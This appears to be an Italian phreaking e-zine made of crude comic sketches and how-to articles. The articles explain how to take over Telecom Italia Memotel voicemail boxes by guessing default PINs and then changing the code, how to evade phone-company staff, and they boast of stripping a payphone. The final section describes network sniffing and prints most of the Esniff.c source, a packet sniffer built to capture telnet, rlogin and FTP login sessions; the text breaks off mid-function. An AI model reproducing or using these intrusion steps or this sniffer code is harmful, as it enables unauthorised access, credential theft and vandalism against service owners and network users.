NON VEDO CHE USO MIGLIORE POSSA FARNE UN DEVIATO MENTALE COME
LUI!!!!ndMr_Skull), siamo qui a parlarvi di kuello ke ci passa per la testa.
Ricordiamo che il programma Š sottotitolato a pagina 666 del SatanVideo.
BUONA VISIONE, BWAZWAZWAZWAZWAZWAZWAREZWAZ

_.-^-._.-^-._.-^-._.-^->Green phreak on a leash<-.-^-._.-^-._.-^-._.-^-._.-

Mr_Skull: Vi siete mai kiesti perch, durante quest'estate chiamando
all'167810000 vi rispondeva un mentecatto che blaterava qualcosa in
strettissimo dialetto manduriano?? Bene, risponderemo al vostro kuesito... il
mentekatto era il bIs0n...
mR_bIs0n: eh si, modestamente, un pomeriggio d'estate mi dedicai a provare
vari numeri verdi dallo startak di mia cuGGina... ad un certo punto sento
una vocina (era la mignottella telekozzz) che diceva: "Telekom Italia,
informazione gratuita"-cambio di voce-"La chiamata sta per essere inoltrata
su kordless fido"
Mr_Skull: come? Un cane sguinzagliato che risponde al telefono??? E si chiama
Fido? Ma ki Š, quello della infostrada???
mR_bIs0n: ARGHHHH!!! Non dire quel nome, altrimenti mi viene in mente Fiorello
che non so cosa se ne faccia dell'abbonamento ad internet... Comunque,
aspettai per un po' dopodicch, senti una vocina che disse...
Mr_Skull: ...ti faccio un bocchino per soli 50 scatti!
mR_bIs0n: no, lo speravo anch'io, ma purtroppo era la vocina della Memotel
Mr_Skull: chi Š Memotel?
mR_bIs0n: una mia amica....
Mr_Skull: Š bbona?
mR_bIs0n: si, poi te la presento... ke rimba...

Mr_Skull: :;=(| (assume quest'espressione)
mR_bIs0n: comunque, reduce dalla Meridian Northern Telekom premetti subito
 # (cancelletto), o meglio dire # (diesis) e la vocina disse: "Inserire codice
 d'identificazione personale, e premere # (fate vobis)". Allora inserii 0000
 ma non and• bene...
Mr_Skull (con vocina da castrato): "Ritenta, sarai pi- fortunato"
mR_bIs0n: non proprio, ma ritentai con 1234... And• bene perch, il deviato
 mentale che si okkupava della segreteria
Mr_Skull: il root!
mR_bIs0n (faccia da 'Matonna'): pi- o meno... Comunque, il mentecatto in
 questione aveva lasciato il codice di default
Mr_Skull: si legge "defohlt!"
mR_bIs0n: in conclusione, seguendo i "men-" della segreteria mi impRadronii
 di quest'ultima...
Mr_Skull: io prendo un kanguro arrosto e una bottiglia di grog fatto in casa
mR_bIs0n: anch'io se paga Mr_Skull... ehm... credo che ci siano altri di
 questi numeri verdognoli che aspettano solo di essere scoperti.
 Vi consiglio di provare da i telefonini delle cugine o dalle cabine della
 villa (giardini publici) della propria citt….
Mr_Skull: MA COSA VOLETE DALLA GARELLI, LA SBORRA?

_.-^-._.-^-._.-^-._.->La favoletta di MotorJovy e mR_bIs0n<-^-._.-^-._.-^-.

C'era una volta, tanto tempo fa, ma cos tanto (ieri), un fanciulletto dal
soave nome di mR_bIs0n, con le gote rosse e i capelli d'oro che viveva da
solo con sua madre, suo padre, suo fratello e gli inquilini della porta
accanto (solo!ndMr_Skull).
Un bel d la madre gli disse:
-Cappuccetto Baison!!!
-Mamma, Š scritto male!
-Ah, si scusa tesoro... senti, vai perfavore a portare questo cestino di
 Kalashmikov (si scrive cos ?) alla nonnina, che la notte scorsa ha bevuto
 troppo e ora le gira la testa...
-Un minuto ma'
-Muovi immediatamente quelle fottute chiappe da quel cazzo di sedia o prendo
 la scopa
-Quella elettrica?
-Obbedisci! E stasera a letto senza cena
-Meglio (nel comodino ci• tanto di quella roba: sukki di frutta, nutella...)!
-E mi raccomando, non passare per la villa che c'Š il lupo cattivo e
 soprattutto ci sono le squadracce Telekom!
-Ok ma!
Ma il nostro mR_bIs0n voleva passare per la villa a sputare i vecchietti sulle
panchine. Nel mezzo del cammin di nostra vita, per•, sent un rumore
assordante... era il MotorJovy con il suo scooter supertruccato...
MJ-TS
MotorJovy TrucchescionScuter - Messa a punto parti:

MBK-Nitro

* Marmitta Polini "Evoluzione" con silenziatore con bordini neri indelebili
* Carter da corsa "Top Performance" con bordini neri indelebili
* Cinghia da corsa super-resistente con bordini neri indelebili
* Asportazione del classico cavalletto per maggiore stabilit… e tenuta in curva (in realt… dava fastidio al silenziatore della marmitta)
* Cavalletto tipo "125" con bordini neri indelebili
* Carenatura nuova di zecca con bordini neri indelebili
* Centralina per la regolazione della candela con bordini neri indelebili
* Super adesivato con bordini neri indelebili

(Š tutto professionaaaaaleeeee!ndPastore)(SBONK!ndBovas)

-mR_bIs0n: MotorJovy! Cosa ci fai qui!?
-MotorJovy: Mah!
-mR_bIs0n: io sto andando dalla mia dolce n1onn...
-MotorJovy: guarda! Quella cabina Š aperta
-mR_bIs0n: diuao! Andiamo a vedere!!!
I due si avvicinano alla cabina
-MotorJovy: smontiamola!!
-mR_bIs0n: aiutami... hai un cacciavite?
-MotorJovy: Un coltello... vabbene ugualmente? asp, che lo prendo...
(Traffica nelle mutande)
-MotorJovy: eccolo
-mR_bIs0n: cavolo, , piccolo... ma mi accontento comunque... ne hai anche uno a croce???
-MotorJovy: asp, che vedo...
(Altro traffico)
-MotorJovy: eccolo!
-mR_bIs0n: smonta il tastierino che io penso al rotor...
-MotorJovy: a che???
-mR_bIs0n: fai, fai...
I due si mettono a praticare...
Sul display della cabina appare dapprima "FS" e poi scompare...
-Cabina: Beep beep beep beep beep
-MotorJovy: che cazzo Š???
-mR_bIs0n: cavolo!!! sta segnalando manomissione alla centralina!!! Sbrighiamoci!!!!
Finito di smontare il rotor, il nostro eroe e il suo amico vanno verso lo scooter
-MotorJovy: Asp, che metto il tastierino sotto il sellone... Dammi che metto il rotore... mo'... il coso!
-mR_bIs0n: Ok tieni, ma sbrigati!
-MotorJovy: Cavolo! Non entra!!!! Misterba', prendilo in mano e sali dietro lo scooter con me...
-mR_bIs0n: OKkazz0...
BROOOOOOOOOOOOOOOUUUUUUUUUUUUUUUNUUUUUUUUUOOOOOOOOOOGROAHNNNNNN

I due si lanciano in una folle corsa per le strade di Manduria con il rotor
ben in vista...
Arrivano a casa di MotorJovy sani e salvi, lasciano la refurtiva nel garage.
E, come si dice in questi casi, vissero per sempre felici e contenti...

THE END

Casa mR_bIs0n

Telefono: Driiiiiing
mR_bIs0n's Mum: Pronto, chi parla???
mR_bIs0n's Grandmother: Angelaaaa, il Baison non mi ha portato il cestino di Kalashmikov!!!
mR_bIs0n: nonna, non Š scritto bene!
mR_bIs0n's Grandmother: ah, scusa...
Mr_Skull: vabb,, tutto Š andato per il meglio, per• ricordate:
MADRE GODURIA   SEMPRE IN CULO A LORO!!!
mR_bIs0n: Sei sempre il migliore a sparare cavolate...

_.-^-._.-^-._.-^-.->Come si usa e abusa di una segreteria Memotel<-.-^-._.-^-.

Artikolo scritto interamente e solamente da mR_bIs0n con l'approvazione di
Mr_Skull

Memotel?

Un po'di anni fa alla telekaxx, gli venne in mente la brillante idea di
creare una segreteria "CON LA SEGRETERIA GIA' DENTRO AL TELEFONO!!!" (cos
sponsorizzavano la novit… sulle skede telefonike...).
Bene, in poke parole per averla bisogna chiederla direttamente alla telekaxx
e vi verr… attivato il servizio, infatti non Š una segreteria fisica con
cassetta ect...
Se ne avete scoperta una, o su numero verde, o su di un normale numero, bene...

Cosa dobbiamo fare?

Per prima cosa, quando parte la voce registrata, voi premete "#", vi verr…
chiesto un codice ke di solito Š "1234"... se non Š cos   , allora provate
numeri come "5555" o "9876" o roba simile... la gente Š molto stupida...
quando avete finito di digitare dovete premere di nuovo "#".

E una volta entrati?

Bene se avete azzeccato il codice una voce registrata vi informer… se sono
presenti nuovi messaggi o precedentemente ascoltati... il men- vi si
presenter… in questo modo:

Tasto   Azioni e scelte varie

-1- Per ascoltare i messaggi:
 -7- per cancellare il messaggio ascoltato
 -9- per archiviare il messaggio ascoltato
 che verr… rimosso solo dopo 15 giorni dall'archiviazione

-2- Per accedere al men- opzioni:
 -1- per cambiare il codice di identificazione personale
 bisogna immettere il nuovo codice e poi ripeterlo per
 conferma
 -2- per scegliere i messaggi di presentazione
 -1- per i messagi pre-registrati
 -2- per registrare il messagio di presentazione
 che avverte che il numero chiamato Š occupato
 -3- per registrare il messagio di presentazione
 che avverte che il proprietario del numero
 chiamato non pu• rispondere
 -4- per registrare il messagio di presentazione
 che avverte che il proprietario del numero non
 Š al momento raggiunguibile
 -3- Per uscire dalla segreteria.

-*- Per uscire da qualsiasi men- in cui vi trovate.

Cosa ci consigli di fare?

Bene, per prima cosa chiamate sempre da una cabina (io lo faccio nel 50% dei casi, Š molto pi- comodo chiamare dal salotto di casa ma molto pi- rishioso... io amo il pericolo...), cambiate per prima cosa il codice di identificazione (usatene uno molto difficile e cambiatelo spesso), lasciate dei vostri messaggi registrati, magari sputtandando qualcuno (io l'ho fatto!!! EHEHHUHUHIHIH), registrando con degli amici, oppure vantandovi di aver fottuto la segreteria e mandando al diavolo chi chiama...

Bene, mR_bIs0n, ora non ci servi pi-, ti abbiamo solo usato... Bob (c'Š sempre un Bob) fallo fuori...

EHEHE ke cavolicchio vuoi fare con una Condor (per gli eretici, pistola giocattolo ad aria compressa con proiettili di 9mm, che di solito fanno male ma non provocano la morte...)... UAHAHUAHAH (risata ke peggiora l'insulto)... spara spara spara demente...

Scar scar Can you feel my power?
Shot here and the world gets smaller!
Scar scar Can you feel my power?
One shot and the world gets smaller!
Scar scar Can you feel my power?
Shot here and the world gets smaller!
Shot Shot Shot MotherFucker!

Shot Shot Shot MotherFucker!
Shot Shot Shot MotherFucker!

Grabbato dalla canzone "Reflective God"
dell'album "Antichrist SuperStar"
di Marilyn Manson (anno 1996)

mR_bIs0n

_.-^-._.-^-._.-^-._.->Due parole sulla pericolosit… dei green<-^-._.-^-._.-^-.

Artikolo scritto interamente e solamente da mR_bIs0n con l'approvazione di Mr_Skull

Ci sono tante persone (parekki finti phreaker) ke si buffoneggiano dicendo: "Uhuh... greenz, ahah ci si fa male con le proprie mani..." Ecco! Cafoni del genere pensano ke i green siano solo i numeretti magici della CIS ke permettono di navigare gratis... coglioni... nemmeno io userei un green illegale... i green sono soprattutto dei numeri gratis (effettuabili anke da cabine senza monete o skede) ke permettono di fare tante kose sfiziose a danno della Telekaxx o ad altre societ… private... tutto ci•, se fatto da una pubblica cabina telefonica Š sicurissimo... io da un sacco di tempo provo tanti green e non mi Š successo mai nulla... Mettiamo ke la centrale telekozz della tua citt… si accorga ke qualkuno stia facendo delle kiamate a numeri verdi non consentiti e ke mandi una squadra di Omini TeleGum ke ti vedono lavorare nella cabina... cosa vuoi ke facciano? Ti ammanettano? TI torturano? Ti uccidono? Niente, non possono farti un bel niente!!! Non possono sapere con certezza se sei tu il mascalzone, se stai facendo qualke prova sui green, o se stai facendo una normale kiamata... e se ti prendono (cosa altamente improbabile) puoi smentire comunque subito:

-Possibilit… 1-
Omino Telekazz: Cosa stavi facendo nella cabina???
TU: Io? Io? Io sono appena arrivato! Stavo per kiamare a mamm…!
Ed ho aspettato ke se ne andasse l'okkupante di prima...

-Possibilit… 2-

Omino Telekazz: Cosa stavi facendo nella cabina???
TU: Ke cavolo ti interessa? Sono fatti miei!
Omino Telekazz: Tu stavi facendo dei numeri verdi non consentiti...
TU: Ah? Kosa sono? Io stavo solo scrivendo a kazzo dei numeri!
Omino Telekazz: Bene non farlo pi-!
TU: (alzando il dito medio) FOTTITI!

-Possibilit… 3-
Omino Telekazz: Cosa stavi facendo nella cabina???
TU: Niente di particolare, stavo solo utilizzando un numero verde per kiamare

in America senza spendere un soldo... perkŠ a te kosa interessa? Se vuoi
te lo insegno...
(Vi sconsiglio di usare questa scusa...)

Quindi non vi preokkupate se state provando dei green... non vi cagate
addosso... io un giorno stavo controllando i messaggi di una segreteria su
green, e affianko all'altra cabina c'era un Omino ke stava riparando una
cornetta... gi… ke stavo gli ho fottuto un po'di filo telefoniko dalla
cassettina ke aveva... EHEHEHEHEHEH!!!

Cmq vi devo dire di stare alla larga di certe persone ke blaterano: "EIIII!
Andiamo alla cabina ke adesso devo kiamare in America con un numero verde..."
Al massimo pikkiatelo!

mR_bIs0n

_.-^-._.-^-._.-^-._.-^-.->Come si deventa phreaker o quasi<-.-^-._.-^-._.-^-._

Artikolo scritto interamente e solamente da mR_bIs0n con l'approvazione di
Mr_Skull

Questo art non Š uno quei soliti art dei grandi hacker, ke sputtanando i
lamer, spiegando chi Š un hacker... ma bens   spiego come fare per essere
o diventare, non dico un phreaker (altrimenti kissa quanta critika) ma uno
ke si diverte tanto ai telefoni! Bene, in Italia se non fai brute forcing, usi
per forza green... boxare Š impossibile ed anke volendo, difficile...
Bene i green sono semplici e divertenti, e almeno a me non fanno paura, e
chiunque pu• dilettarsi... bastano una cabina e un interessato che abbia
almeno un dito utilizzabile...
Io almeno ho iniziato cos , mi diverto tutt'ora e ora non mi definisco un
phreaker (sempre per la critika... e allora, cara critika, dimmelo tu ki
kazzo sono! Ah, dimmelo ki sono, un bastardo ke apre kabine, prova green e si
diverte... allora dimmelo, siccome phreaker non sono, kosa kazzo sono! *
Scusate per lo sfogo!*), e ho una buona conoscenza di ci• ke si pu• fare con i
sistemi telefonici (sbaglio o questo Š phreaking?).
Bene, io avevo appena 14 anni quando ho iniziato, ero un ragazzino curioso,
e quando uscivo la sera con gli amici provavo, cos   per giocare, dei numeri
verdi tipo: 16756565 o 167454545, e pian piano scoprivo nuove cose, ne
parlavo su IRC con gli amici... ankora faccio allo stesso modo, e soprattutto
mi diverto e con me anke i miei amici (ke risate quando registravamo messaggi
di benvenuto con i miei amici ad una segreteria su green...).
Quindi, ki Š davvero intenzionato a diventare phreaker non si spaventi
quando una signorina al telefono dice: "Inserire codice prego" e riattakki,
ma provasse "1234" oopure "0000" e sentire cosa risponde!

mR_bIs0n

_.-^-._.-^-._.-^-._.-^-.->Consigli vari e forse utilie<-.-^-._.-^-._.-^-._.-^-

Vorrei consigliarvi qualkosa da fare per farsi "na ccultura" nel phreaking...

Da leggere:
- L'elenko telefoniko Telekazzarola ke ci sono tante cose interessanti da leggere e qui vi riporto un passo:

  Carte Telefoniche
  Scheda Telefonica Prepagata

  [...]
  La richiesta di sostituzione della scheda non utilizzata e provvista del talloncino di sicurezza deve essere rivoltata alla Filiale Telecom di competenza che fornir… anche ogni opportuna informazione relativa all'eventuale malfunzionamento della scheda.

  Bene, ditemi ora come KAZZO faccio a vedere se la maledetta skeda funziona o no se deve essere per forza provvista di talloncino... vado ad intuito forse...

- Telefonia generale, un librone ke pu• essere facilmente fottuto in una qualsiasi centrale TeleFuck...

- Prendersi i cataloghi G.P.E (www.gpekit.com) ke vendono dei bei kit di montaggio (es. Centralino telefonico, Microtrasmettitore per la trasmissione di conversazioni telefoniche... e tante altre cose sfiziose)

- Qualsiasi cosa parli di telefonia e elettronica... riviste, opuscoli...

- Urbis et Orbis, il mio libro di Latino ke konsiglio di leggere ma non centra comunque un cazzo...

Da fare:
- Crearsi un gruppo di amici fidati, per lavorare insieme... Š molto pi- divertente, almeno secondo me... (il fatto sta ke io lavoro ankora solo...)

- Procurarsi un cellulare ke Š molto utile, (non intendo dire di mandarsi squilli, messaggini amorosucci, con amikette e fidanzatine, cuoricini e fiorellini... e nemmeno per mettersi a dire in giro: "Oki Walter, comprane 10.000 e vendi tutte quelle azioni ke sono al di sopra di..." perkŠ Š da dementi...) infatti e comodo per fare chiamate a green e altro...

- Visitare le centrali Telesuck per grabbare tanta robba!!!

- Trovarsi una ragazza (anke brutta, bha contenti voi!), ke vi consoli se vi hanno tolto la segreteria su green ke utilizzavi a sbafo!

- Indire una conferenza

Phreaking in Italia e l'ambiente CyberPunk
Tenuta dal professore mR_bIs0n e dall'esperto Mr_Skull
Ingresso gratuito
Salone delle conferenze del Municipio
1
- Crearsi una radio pirata per distribuire informazioni sul phreaking

mR_bIs0n

_.-^-._.-^-._.-^-._.-^-._.-^-.->Saluti vari<-.-^-._.-^-._.-^-._.-^-._.-^-.

Questa lunga e pesante deliriata si Š conclusa, se vi piace fateci sapere...
ma comunque non ce ne "futta" nulla... eheheh

Comunque sentirete parlare di noi presto con nuove riviste e guide... forse un giorno o l'altro vedrete in prima pagina de "la Repubblica": Ragazzo 15enne arrestato per molestie sessuali ad una ragazza 27enne... e non sar… il caso mio (mR_bIs0n) (sto aspettando da un sacco di tempo una pedofila sui 20 anni che mi molesti sessualmente!!!) ma se guardate pi- basso forse noterete: Ragazzo 15enne arrestato per danni alla TeleCom Italia...

VabbŠ ora un po'di saluti (solo di mR_bIs0n... Mr_Skull non ama i saluti...):

Vorrei salutare alcuni miei amici e compagni di skuola (e non solo...)

- Davide, il mio amikone (anke kiamato Panino, per via della sua rotondit…) con il quale trascorro il tempo sfottendo varie persone... risate assicurate...

- Giorgio, una vittima dei nostri insulti... un tipo assai divertente...

- Federika, forse la mia unika amika in classe... spesso parliamo del suo ragazzo, spesso di cazzate...

- Gabriella, una tipa a cui ho insegnato a kome usare il suo Siemens C25...

- Marco, l'uniko in klasse a soppravvivere ogni giorno senza aver fatto i compiti assegnati...(nonkŠ mio kompagno di banko... eheheh uso sempre il suo StarTak nell'ora di Religione...)

- Peppo, anke konsciuto kome Giusy, un tipo prepotente ma divertente...

- Ilaria, una ragazza di 1øanno (io so' di 2ø!!!) co   capelli rossi, ke oggi ha detto ke non sono il suo tipo... se ne pentir…!!!

- Elisa, una mia amika, una delle pi- belle ragazze ke io abbia mai conosciuto...

- Le Iene!!! Si proprio quelle di Italia Uno!!! Siete fantastici!!!

- Il minikaktus ke mia quella scoppiata di mia madre ha messo sulla case del
  PC... ma ke kaxxo mi centra???

Dedicato a (sempre e solo mR_bIs0n...):

Daniela, l'unika ragazza della mia vita...
EI! Non fraintendete! Non Š la mia unika ragazza in senxo di fidanzata...
Veramente non Š nemmeno la mia ragazza... comunque kiss…...

No, non preoccupatevi non faccio e non faro mai uso di stupefacenti.
Questo non e' altro che un articolo riguardante lo sniff che e' l'arte
di intercettamento di una comunicazione via internet.
Esistono in giro sulla rete vari software per poter sniffare; il piu'
famoso nel mondo UNIX e' il TCPDUMP (e gia il nome dice tutto). Esiste
anche software per DOS ed NT che pero' ha il problema dell'accesso
diretto da parte di un task alla scheda di rete.
Tutto il traffico che passa su un cavo in cui noi abbiamo accesso
puo' essere sniffato, l'utilizzo migliore dello sniff avviene con la
rete ethernet. Ethernet non e' altro che un protocollo che lavora
spedendo i pacchetti con le informazioni a tutti i computer collegati
a tale rete, l'intestazione del pacchetto contiene il proprio indirizzo
e l'indirizzo di destinazione.
Gli sniffer funzionano in maniera molto semplice non fanno altro che
dire alla scheda di rete di raccogliere tutti i pacchetti che passano
sul cavo di rete invece che solo quelli che sono destinati all'indirizzo
della scheda, questo avviene settando quest'ultima in modalita' PROMISCUE
MODE in modo da potergli dire di ricevere tutti i pacchetti che transitano
sulla sua scheda. Questo succede perche' la scheda quando riceve i
pacchetti ethernet prende solo quelli destinati al suo MAC address.
Se la macchina da noi utilizzata e' collegata con un cavo coassiale
abbiamo la possibilita' di utilizzare lo sniff in modo piu' approfondito
che utilizzando solo il doppino telefonico dato che su quest'ultimo
passano solo i pacchetti destinati alla mia macchina.
Come gia' molti di voi sapranno che il cavo coassiale e' gia' di per se
un mezzo BROADCAST quindi abbiamo la possibilita' di sentire tutto quello
che gli altri dicono sul filo elettrico.
Se avete anche la possibilita' di avere accesso al cavo che collega i
vari router al MIX (che e' il nodo di interscambio di traffico
tra i vari provider) allora occorre delimitare lo spezzone della
rete, dobbiamo, cioe', selezionare quello che ci interessa indicando
gli indirizzi di arrivo e di partenza in modo da non sovraccaricare
il SO.
Chiaramente uno sniffer va' su qualsiasi macchina della nostra rete:
sulla macchina remota, sul server locale o su una terza macchina,
il tutto dipende dal tipo di rete che collega i nodi presi in
questione.
Un esempio pratico: io mi trovo in una universita' e quindi ho molte piu'
possibilita' di sniffare del traffico che passa sui miei cavi rispetto
a quello che passa in Finlandia.
Ci sono vari prodotti di sniff in giro ma per ora ve ne lascio uno
da compilare :

```
/* [JOIN THE POSSE!] */

/* Esniff.c */

#include <stdio.h>
```

```
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }
```

```
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
    struct CREC *Next,
                *Last;
    time_t  Time;              /* start time */
    struct in_addr SRCip,
                   DSTip;
    u_int   SRCport,           /* src/dst ports */
            DSTport;
    u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
    u_int   Length;            /* current data length */
    u_int   PKcnt;             /* # pkts */
    u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
     gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
```

```
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
```

```
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
```

```
        else fprintf(LOG,"(%d)",*dp); \
      } \
      lastc = *dp++; \
   } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
```

```
          END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
      } \
    } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }
```

```
  if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

     CLm->PKcnt++;

     if(length>0)
       if( (CLm->Length + length) < MAXBUFLEN ) {
         ADDDATA_NODE( CLm, p,length);
       } else {
         END_NODE( CLm, p,length, "DATA LIMIT");
       }

     if(TCPFL(TH_FIN|TH_RST)) {
         END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
     }

  } else {

     if(TCPFL(TH_SYN)) {
        ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
     }

  }

  IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
```

```
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

